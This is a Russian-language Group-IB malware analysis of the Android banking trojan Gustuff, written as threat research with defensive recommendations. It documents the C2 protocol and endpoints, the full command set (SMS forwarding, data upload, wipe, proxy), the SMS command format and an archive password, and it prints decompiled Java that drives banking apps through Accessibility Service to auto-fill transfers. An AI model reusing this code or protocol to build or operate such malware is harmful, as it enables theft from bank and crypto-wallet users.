Буквально на днях Group-IB сообщала об активности мобильного Android-трояна Gustuff. Он работает исключительно на международных рынках, атакуя клиентов 100 крупнейших иностранных банков, пользователей мобильных 32 криптокошельков, а также крупных e-commerce ресурсов. А вот разработчик Gustuff — русскоязычный киберпреступник под ником Bestoffer. Еще недавно он нахваливал свой троян как «серьезный продукт для людей со знаниями и опытом».
Специалист по анализу вредоносного кода Group-IB Иван Писарев в своем исследовании подробно рассказывает о том, как работает Gustuff и в чем его опасность.
За кем охотится Gustuff
Gustuff относится к новому поколению вредоносных программ с полностью автоматизированными функциями. По словам разработчика, троян стал новой улучшенной версией вредоносной программы AndyBot, которая с ноября 2017 года атакует телефоны с ОС Android и крадет деньги через фишинговые веб-формы, маскирующиеся под мобильные приложения известных международных банков и платежных систем. Bestoffer сообщал, что цена аренды «Gustuff Bot» составляла $800 в месяц.
Анализ сэмпла Gustuff показал, что потенциально троян нацелен на клиентов, использующих мобильные приложения крупнейших банков, таких как Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, а также на криптокошельки Bitcoin Wallet, BitPay, Cryptopay, Coinbase и др.
Изначально созданный как классический банковский троян, в текущей версии Gustuff значительно расширил список потенциальных объектов для атаки. Кроме Android-приложений банков, финтех-компаний и криптосервисов, Gustuff нацелен на пользователей приложений маркетплейсов, онлайн-магазинов, платежных систем и мессенджеров. В частности, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut и других.
Точка входа: расчет на массовое заражение
Для Gustuff характерен «классический» вектор проникновения на Android-смартфоны через СМС-рассылки со ссылками на APK. При заражении Android-устройства трояном по команде сервера может произойти дальнейшее распространение Gustuff'а по базе контактов инфицированного телефона либо по базе данных сервера. Функциональные возможности Gustuff рассчитаны на массовое заражение и максимальную капитализацию бизнеса своих операторов – в нем присутствует уникальная функция «автозалива» в легитимные мобильные банковские приложения и криптокошельки, что позволяет ускорить и масштабировать кражу денег.
Исследование трояна показало, что функция автозалива реализована в нем при помощи Accessibility Service — сервиса для людей с ограниченными возможностями. Gustuff – не первый троян, который успешно обходит защиту от взаимодействия с элементами окон других приложений с помощью данного сервиса Android. Однако использование Accessibility Service в сочетании с автозаливом остается до сих пор достаточно редким явлением.
После загрузки на телефон жертвы Gustuff, используя Accessibility Service, получает возможность взаимодействовать с элементами окон других приложений (банковских, криптовалютных, а также приложений для онлайн-шоппинга, обмена сообщениями и др.), выполняя необходимые для злоумышленников действия. К примеру, по команде сервера троян может нажимать на кнопки и изменять значения текстовых полей в банковских приложениях. Использование механизма Accessibility Service позволяет трояну обходить механизмы защиты, используемые банками для противодействия мобильным троянам прошлого поколения, а также изменения в политике безопасности, внедренные Google в новые версии ОС Android. Так, Gustuff «умеет» отключать защиту Google Protect: по заверениям автора, данная функция срабатывает в 70% случаев.
Также Gustuff может демонстрировать фейковые PUSH-уведомления с иконками легитимных мобильных приложений. Пользователь кликает на PUSH-уведомление и видит загруженное с сервера фишинговое окно, куда сам вводит запрашиваемые данные банковской карты или криптокошелька. В другом сценарии работы Gustuff происходит открытие приложения, от имени которого демонстрировалось PUSH-уведомление. В этом случае вредоносная программа по команде сервера через Accessibility Service может заполнять поля формы банковского приложения для мошеннической транзакции.
В функциональные возможности Gustuff также входят отправка на сервер информации о заражённом устройстве, возможность чтения/отправления СМС-сообщений, отправление USSD-запросов, запуск SOCKS5 Proxy, переход по ссылке, отправление файлов (в том числе фотосканов документов, скриншотов, фотографий) на сервер, сброс устройства до заводских настроек.
Анализ вредоносной программы
Перед установкой вредоносного приложения ОС Android демонстрирует пользователю окно, содержащее в себе список запрашиваемых Gustuff'ом прав:
Установка приложения произойдет только после получения согласия пользователя. После запуска приложения троян покажет пользователю окно:
После чего удалит свою иконку.
Gustuff упакован, по словам автора, упаковщиком от FTT. После запуска приложение периодически обращается к CnC- серверу с целью получения команд. В нескольких исследованных нами файлах в качестве управляющего сервера использовался IP-адрес 88.99.171[.]105 (в дальнейшем будем обозначать как <%CnC%>).
После запуска программа начинает отправку сообщений серверу http://<%CnC%>/api/v1/get.php.
В качестве ответа ожидается JSON следующего формата:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
При каждом обращении приложение отправляет информацию о зараженном устройстве. Формат сообщения представлен ниже. Стоит отметить, что поля full, extra, apps и permission – опциональные и будут отправлены только в случае команды-запроса от CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Хранение конфигурационных данных
Gustuff хранит важную для работы информацию в preference-файле. Имя файла, как и имена параметров в нем – результат вычисления MD5-суммы от строки 15413090667214.6.1<%name%>, где <%name%> — исходное имя-значение. Python-интерпретация функции генерации имени:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
В дальнейшем будем обозначать как nameGenerator(input).
Таким образом, имя первого файла: nameGenerator(«API_SERVER_LIST»), он содержит значения со следующими именами:
Имя переменной | Значение |
---|---|
nameGenerator(«API_SERVER_LIST») | Содержит список CnC-адресов в виде массива. |
nameGenerator(«API_SERVER_URL») | Содержит CnC-адрес. |
nameGenerator(«SMS_UPLOAD») | Флаг по умолчанию установлен. Если флаг установлен – отправляет СМС-сообщения на CnC. |
nameGenerator(«SMS_ROOT_NUMBER») | Номер телефона, на который будут отправлены SMS-сообщений принятые зараженным устрйоством. По умолчанию null. |
nameGenerator(«SMS_ROOT_NUMBER_RESEND») | Флаг по умолчанию сброшен. Если установлен – при получении зараженным устройством SMS оно будет отправлено на root-номер. |
nameGenerator(«DEFAULT_APP_SMS») | Флаг по умолчанию сброшен. Если данный флаг установлен – приложение будет обрабатывать входящие SMS- сообщения. |
nameGenerator(«DEFAULT_ADMIN») | Флаг по умолчанию сброшен. Если флаг установлен – приложение имеет права администратора. |
nameGenerator(«DEFAULT_ACCESSIBILITY») | Флаг по умолчанию сброшен. Если флаг установлен – запущен сервис, использующий Accessibility Service. |
nameGenerator(«APPS_CONFIG») | JSON-объект, содержит список действий, которые необходимо выполнить при срабатывании Accessibility-события, связанного с определенным приложением. |
nameGenerator(«APPS_INSTALLED») | Хранит список установленных на устройстве приложений. |
nameGenerator(«IS_FIST_RUN») | Флаг при первом запуске сбрасывается. |
nameGenerator(«UNIQUE_ID») | Содержит уникальный идентификатор. Генерируется при первом запуске бота. |
Модуль обработки команд от сервера
Приложение хранит адреса CnC-серверов в виде массива закодированных по Base85 строк. Список CnC — серверов может быть изменен при поступлении соответствующей команды, в таком случае адреса будут хранится в preference-файле.
В ответ на запрос сервер отправляет приложению команду. Стоит отметить, что команды и параметры представлены в JSON-формате. Приложение может обрабатывать следующие команды:
Команда | Описание |
---|---|
forwardStart | Начать отправление получаемых зараженным устройством SMS-сообщений на CnC-сервер. |
forwardStop | Остановить отправление получаемых зараженным устройством SMS-сообщений на CnC-сервер. |
ussdRun | Выполнить USSD-запрос. Номер, на который необходимо совершить USSD-запрос находится в JSON-поле «number». |
sendSms | Отправить одно SMS-сообщение (при необходимости сообщение «дробится» на части). В качестве параметра команда принимает JSON-объект, содержащий поля «to» — номер назначения и «body» — тело сообщения. |
sendSmsAb | Отправить SMS-сообщения (при необходимости сообщение «дробится» на части) всем из списка контактов зараженного устройства. Интервал между отправлением сообщений – 10 секунд. Тело сообщения находится в JSON-поле «body» |
sendSmsMass | Отправить SMS-сообщения (при необходимости сообщение «дробится» на части) контактам, указанным в параметрах команды. Интервал между отправлением сообщений – 10 секунд. В качестве параметра команда принимает JSON-массив (поле «sms»), элементы которого содержат поля «to» — номер назначения и «body» — тело сообщения. |
changeServer | Данная команда в качестве параметра может принимать значение с ключом «url» — тогда бот изменит значение nameGenerator(“SERVER_URL”), либо «array» — тогда бот запишет массив в nameGenerator (“API_SERVER_LIST”) Таким образом приложение меняет адрес CnC-серверов. |
adminNumber | Команда предназначена для работы с root-номером. Команда принимает JSON-объект со следующими параметрами: «number» — изменить nameGenerator(“ROOT_NUMBER”) на полученное значение, «resend» — изменить nameGenerator(“SMS_ROOT_NUMBER_RESEND”), «sendId» — отправить на nameGenerator(“ROOT_NUMBER”) uniqueID. |
updateInfo | Отправить на сервер информацию о зараженном устройстве. |
wipeData | Команда предназначена для удаления пользовательских данных. В зависимости от какого имени было запущено приложение происходит либо полное стирание данных с перезагрузкой устройства (primary user), либо удаление только пользовательских данных (secondary user). |
socksStart | Запустить Proxy-модуль. Работа модуля описана в отдельном разделе. |
socksStop | Остановить работу Proxy-модуля. |
openLink | Перейти по ссылке. Ссылка находится в JSON-параметре по ключу «url». Для открытия ссылки используется «android.intent.action.VIEW». |
uploadAllSms | Отправить на сервер все принятые устройством SMS-сообщения. |
uploadAllPhotos | Отправить на URL изображения с зараженного устройства. URL приходит как параметр. |
uploadFile | Отправить на URL файл с зараженного устройства. URL приходит как параметр. |
uploadPhoneNumbers | Отправить на сервер номера телефонов из списка контактов. Если в качестве параметра приходит JSON-объект значение с ключом «ab», приложение получает список контактов из телефонной книги. Если в качестве параметра приходит JSON-объект с ключом «sms», приложение читает список контактов из отправителей SMS-сообщений. |
changeArchive | Приложение загружает файл с адреса, который приходит в качестве параметра по ключу «url». Загруженный файл сохраняется с именем «archive.zip». После этого приложение разархивирует файл, при необходимости используя пароль для архива «b5jXh37gxgHBrZhQ4j3D». Разархивированный файлы сохраняет в директорию [external storage]/hgps. В данной директории приложение хранит web-фейки (описано далее). |
actions | Команда предназначена для работы с Action Service, который описан в отдельном разделе. |
test | Ничего не делает. |
download | Команда предназначена для загрузки файла с удаленного сервера и сохранении его в директорию «Downloads». URL и имя файла приходят в качестве параметра, поля в JSON-объекте параметре соответственно: «url» и «fileName». |
remove | Удаляет файл из директории «Downloads». Имя файла приходит в JSON-параметре с ключом «fileName». Стандартное имя файла – «tmp.apk». |
notification | Показать уведомление с текстами описания и заголовка, определяемыми управляющим сервером. |
Формат команды notification:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
Уведомление, создаваемое исследуемым файлом, выглядит идентично уведомлениям, создаваемым приложением, указанным в поле app. Если значение поля openApp — True, при открытии уведомления запускается приложение, указанное в поле app. Если значение поля openApp — False, то:
- открывается фишинговое окно, содержимое которого загружается из директории <%external storage%>/hgps/<%filename%>
- открывается фишинговое окно, содержимое которого загружается с сервера <%url%>?id=<%Bot id%>&app=<%Application name%>
- открывается фишинговое окно, замаскированное под Google Play Card, с возможностью ввести данные карты.
Результат исполнения любой команды приложение отправляет на <%CnC%>\set_state.php в виде JSON-объекта следующего формата:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
ActionsService
В список команд, которые обрабатывает приложение, входит action. При получении команды модуль обработки команд обращается к данному сервису с целью исполнения расширенной команды. В качестве параметра сервис принимает JSON-объект. Сервис может выполнять следующие команды:
1. PARAMS_ACTION — при получении такой команды сервис в первую очередь получает из JSON- параметра значение по ключу Type, может быть следующим:
- serviceInfo – подкоманда получает из JSON-параметра значение по ключу includeNotImportant. Если флаг равен True — приложение устанавливает флаг FLAG_ISOLATED_PROCESS на сервис, использующий Accessibility Service. Таким образом, сервис будет запущен в отдельном процессе.
- root — получить и отправить на сервер информацию об окне, которое сейчас в фокусе. Приложение получает информацию при помощи класса AccessibilityNodeInfo.
- admin — запросить права администратора.
- delay — приостановить работу ActionsService на то количество миллисекунд, которое указано в параметре по ключу «data».
- windows — отправить список видимых пользователю окон.
- install — установить приложение на зараженное устройство. Название пакета — архива находится в ключе «fileName». Сам архив находится в директории Downloads.
- global – подкоманда предназначена для осуществления перехода с текущего окна:
- на меню Quick Settings
- назад
- домой
- к уведомлениям
- к окну недавно открытых приложений
- launch — запустить приложение. Наименование приложения приходит как параметр по ключу data.
- sounds — изменить режим звука на silence.
- unlock — включает подсветку экрана и клавиатуры на полную яркость. Приложение выполняет данное действие при помощи WakeLock, в качестве тэга указывает строку [Application lable]:INFO
- permissionOverlay — функция не реализована (ответ на исполнение команды — {«message»:«Not support»} или {«message»:«low sdk»})
- gesture — функция не реализована (ответ на исполнение команды — {«message»:«Not support»}или {«message»:«Low API»})
- permissions — данная команда необходима для запроса прав для приложения. Однако функция запроса не реализована, таким образом команда не имеет смысла. Список запрашиваемых прав приходит как JSON-массив с ключом «permissions». Стандартный список:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open — вывести на экран фишинговое окно. В зависимости от приходящего от сервера параметра приложение может демонстрировать следующие фишинговые окна:
- Показать фишинговое окно, содержимое которого прописано в файле в директории <%external directory%>/hgps/<%param_filename%>. Результат взаимодействия пользователя с окном будет отправлен по адресу <%CnC%>/records.php
- Показать фишинговое окно, содержимое которого предварительно грузится с адреса <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Результат взаимодействия пользователя с окном будет отправлен по адресу <%CnC%>/records.php
- Показать фишинговое окно, замаскированное под Google Play Card.
- interactive — команда предназначена для взаимодействия с элементами окон других приложений при помощи AcessibilityService. Для взаимодействия в программе реализован специальный сервис. Исследуемое приложение может взаимодействовать с окнами:
- Активным на данный момент. В таком случае параметр содержит id либо text (наименование) объекта, с которым необходимо взаимодействовать.
- Видимыми пользователю на момент исполнения команды. Приложение выбирает окна по id.
Получив объекты AccessibilityNodeInfo для интересующих элементов окна, приложение в зависимости от параметров может выполнять действия:
- focus — установить фокус на объект.
- click — кликнуть на объект.
- actionId — выполнить действие по ID.
- setText — изменить текст объекта. Изменение текста возможно двумя способами: выполнить действие ACTION_SET_TEXT (если версия Android зараженного устройства – моложе либо равна LOLLIPOP), либо поместив в буфер обмена строку и вставив его в объект (для версий старше). Данная команда может быть использована для изменения данных в банковском приложении.
2. PARAMS_ACTIONS — то же, что и PARAMS_ACTION, только приходит JSON-массив команд.
Кажется, многим будет интересно, как выглядит функция взаимодействия с элементами окна другого приложения. Вот таким образом реализована данная функциональная возможность в Gustuff'е:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Функция замены текста:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Таким образом, при правильной настройке управляющего сервера Gustuff способен заполнить текстовые поля в банковском приложении и нажать на необходимые для совершения транзакции кнопки. Трояну даже не нужно проходить авторизацию в приложении — достаточно отправить команду на демонстрацию PUSH-уведомления с последующим открытием ранее установленного банковского приложения. Пользователь сам пройдет авторизацию, после чего Gustuff сможет произвести автозалив.
Модуль обработки СМС-сообщений
Приложение устанавливает обработчик события на принятие зараженным устройством СМС-сообщений. Исследуемое приложение может принимать команды от оператора, которые приходят в теле СМС- сообщения. Команды приходят в формате:
7!5=<%Base64 encoded command%>
Приложение ищет во всех приходящих СМС-сообщениях строку 7!5=, при обнаружении строки – декодирует из Base64 строку по смещению 4 и исполняет команду. Команды аналогичны командам с CnC. Результат исполнения отправляется на тот же номер, с которого поступила команда. Формат ответа:
7*5=<%Base64 encode of «result_code command»%>
Опционально приложение может отправлять все принимаемые сообщения на Root-номер. Для этого в preference-файле должен быть указан Root-номер и установлен флаг редиректа сообщений. СМС-сообщение отправляется на номер злоумышленника в формате:
<%From number%> — <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
Также опционально приложение может отправлять сообщения на CnC. СМС-сообщение отправляется на сервер в JSON-формате:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Если установлен флаг nameGenerator(«DEFAULT_APP_SMS») – приложение останавливает обработку СМС-сообщения и очищает список входящих сообщений.
Proxy-модуль
В исследуемом приложении присутствует Backconnect Proxy модуль (далее Proxy-модуль), который имеет отдельный класс, включающий в себя статические поля с конфигурацией. Конфигурационные данные хранятся в семпле в открытом виде:
Все действия, совершаемые Proxy-модулем, логируются в файлы. Для этого приложение в External Storage создает директорию с названием «logs» (поле ProxyConfigClass.logsDir в конфигурационном классе), в которой хранятся лог-файлы. Логирование происходит в файлы с именами:
- main.txt – в данный файл происходит логирование работы класса с названием CommandServer. В дальнейшем логирование строки str в данный файл будем обозначать как mainLog(str).
- session-<%id%>.txt — в данный файл происходит сохранение лог-данных, связанных с определенной сессией проксирования. В дальнейшем логирование строки str в данный файл будем обозначать как sessionLog (str).
- server.txt – в данный файл происходит логирование всех данных, записываемых в вышеописанные файлы.
Формат лог-данных:
<%Date%> [Thread[<%thread id%>], id[]]: log-string
Возникающие в процессе работы Proxy-модуля исключения также логируются в файл. Для этого приложение формирует JSON-объект формата:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
После чего конвертирует его в строковое представление и логирует.
Запуск Proxy-модуля осуществляется после поступления соответсвующей комнады. При поступлении команды на запуск Proxy-модуля приложение запускает сервис с названием MainService, который отвечает за управление работой Proxy-модуля – его запуск и остановку.
Этапы запуска сервиса:
1. Запускает таймер, срабатывающий раз в минуту и проверяющий активность Proxy-модуля. Если модуль не активен – запускает его.
Также при срабатывании события android.net.conn.CONNECTIVITY_CHANGE происходит запуск Proxy-модуля.
2. Приложение создает wake-lock с параметром PARTIAL_WAKE_LOCK и захватывает его. Таким образом не позволяет перейти CPU устройства в спящий режим.
3. Запускает класс обработки команд Proxy-модуля, предварительно логируя строку mainLog(«start server») и
Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
где proxy_cnc, command_port и proxy_port – параметры, полученные из конфигурации Proxy- сервера.
Класс обработки команд имеет название CommandConnection. Сразу после запуска выполняет следующие действия:
4. Подключается к ProxyConfigClass.host: ProxyConfigClass.commandPort и отправляет туда данные о зараженном устройстве в JSON-формате:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Где:
- id – идентификатор, пытается получить из Shared Preference файла с именем «x» значение с полем «id». Если данное значение получить не удалось — генерирует новое. Таким образом, Proxy-модуль имеет свой идентификатор, который генерируется аналогично Bot ID.
- imei — IMEI устройства. Если в процессе получения значения произошла ошибка — вместо этого поля будет записано текстовое сообщение об ошибке.
- imsi — International Mobile Subscriber Identity устройства. Если в процессе получения значения произошла ошибка — вместо этого поля будет записано текстовое сообщение об ошибке.
- model — The end-user-visible name for the end product.
- manufacturer — The manufacturer of the product/hardware (Build.MANUFACTURER).
- androidVersion — строка в формате "<%release_version%> (<%os_version%>),<%sdk_version%>"
- country — текущее местоположение устройства.
- partnerId – пустая строка.
- packageName – package name.
- networkType — тип текущего сетевого соединения (пример: «WIFI», «MOBILE»). В случае ошибки возвращает null.
- hasGsmSupport – true – если телефон поддерживает GSM, иначе false.
- simReady – состояние SIM-карты.
- simCountry — ISO-код страны (на основании провайдера сим-карты).
- networkOperator — наименование оператора. Если в процессе получения значения произошла ошибка — вместо этого поля будет записано текстовое сообщение об ошибке.
- simOperator — The Service Provider Name (SPN). Если в процессе получения значения произошла ошибка — вместо этого поля будет записано текстовое сообщение об ошибке.
- version — данное поле хранится в конфиг-классе, для исследуемых версий бота оно было равно «1.6».
5. Переходит в режим ожидания команд от сервера. Команды от сервера поступают в формате:
- 0 offset – command
- 1 offset – sessionId
- 2 offset – length
- 4 offset — data
При поступлении команды приложение логирует:
mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»)
Возможны следующие команды от сервера:
Name | Command | Data | Description |
---|---|---|---|
connectionId | 0 | Connection ID | Создать новое подключение |
SLEEP | 3 | Time | Приостановить работу Proxy-модуля |
PING_PONG | 4 | - | Отправить PONG-сообщение |
PONG-сообщение состоит из 4 байт и выглядит следующим образом: 0x04000000.
При поступлении команды connectionId (на создание нового подключения) CommandConnection создает экземпляр класса ProxyConnection.
- В проксировании принимают участие два класса: ProxyConnection и end. При создании класса ProxyConnection происходит подключение к адресу ProxyConfigClass.host: ProxyConfigClass.proxyPort и передача JSON-объекта:
{
"id":<%connectionId%>
}
В ответ сервер присылает SOCKS5-сообщение, которое содержит адрес удаленного сервера, с которым необходимо установить соединение. Взаимодействие с эти сервером происходит посредством класса end. Схематично установку соединения можно представить следующим образом:
Сетевые взаимодействия
Для предотвращения анализа трафика сетевыми снифферами взаимодействие между CnC-сервером и приложением может быть защищено посредством протокола SSL. Все передаваемые данные как с сервера так и на сервер представлены в JSON-формате. Приложение в ходе работы выполняет следующие запросы:
- http://<%CnC%>/api/v1/set_state.php — результат исполнения команды.
- http://<%CnC%>/api/v1/get.php — получение команды.
- http://<%CnC%>/api/v1/load_sms.php — выгрузка SMS-сообщений с зараженного устройства.
- http://<%CnC%>/api/v1/load_ab.php — выгрузка списка контактов с зараженного устройства.
- http://<%CnC%>/api/v1/aevents.php – запрос производится при обновлении параметров, находящихся в preference-файле.
- http://<%CnC%>/api/v1/set_card.php — выгрузка данных, полученных при помощи фишинг-окна, маскирующегося под Google Play Market.
- http://<%CnC%>/api/v1/logs.php – выгрузка лог-данных.
- http://<%CnC%>/api/v1/records.php – выгрузка данных, полученных при помощи фишинговых окон.
- http://<%CnC%>/api/v1/set_error.php – оповещение о возникшей ошибке.
Рекомендации
В целях защиты своих клиентов от угрозы мобильных троянов компании должны использовать комплексные решения, которые позволяют без установки дополнительного программного обеспечения на устройства пользователей, отслеживать и предупреждать вредоносную активность.
Для этого сигнатурные методы обнаружения мобильных троянов необходимо усиливать технологиями анализа поведения как клиента, так и самого приложения. Так же защита должна включать в себя функцию идентификации устройств с использованием технологии цифрового отпечатка, что позволит понять, когда учётная запись используется с нетипичного устройства и уже попала в руки мошенника.
Принципиально важный момент – наличие возможности кросс-канального анализа, что дает возможность компаниям контролировать риски, возникающие на стороне не только интернет-, но и мобильного канала, например, в приложениях для мобильного банкинга, для операций с криптовалютами и любых других, где может осуществляться финансовая транзакция.
Правила безопасности для пользователей:
- не устанавливать приложения для мобильного устройства с ОС Android из каких-либо источников, кроме Google Play;
- при установке приложения обращать особое внимание на запрашиваемые приложением права;
- регулярно устанавливать обновления ОС Android;
- обращать внимание на расширения загружаемых файлов;
- не посещать подозрительные ресурсы;
- не переходить по ссылкам, полученным в SMS-сообщениях.
При участии Семена Рогачева, младшего специалиста по исследованию вредоносного кода Лаборатории компьютерной криминалистики Group-IB.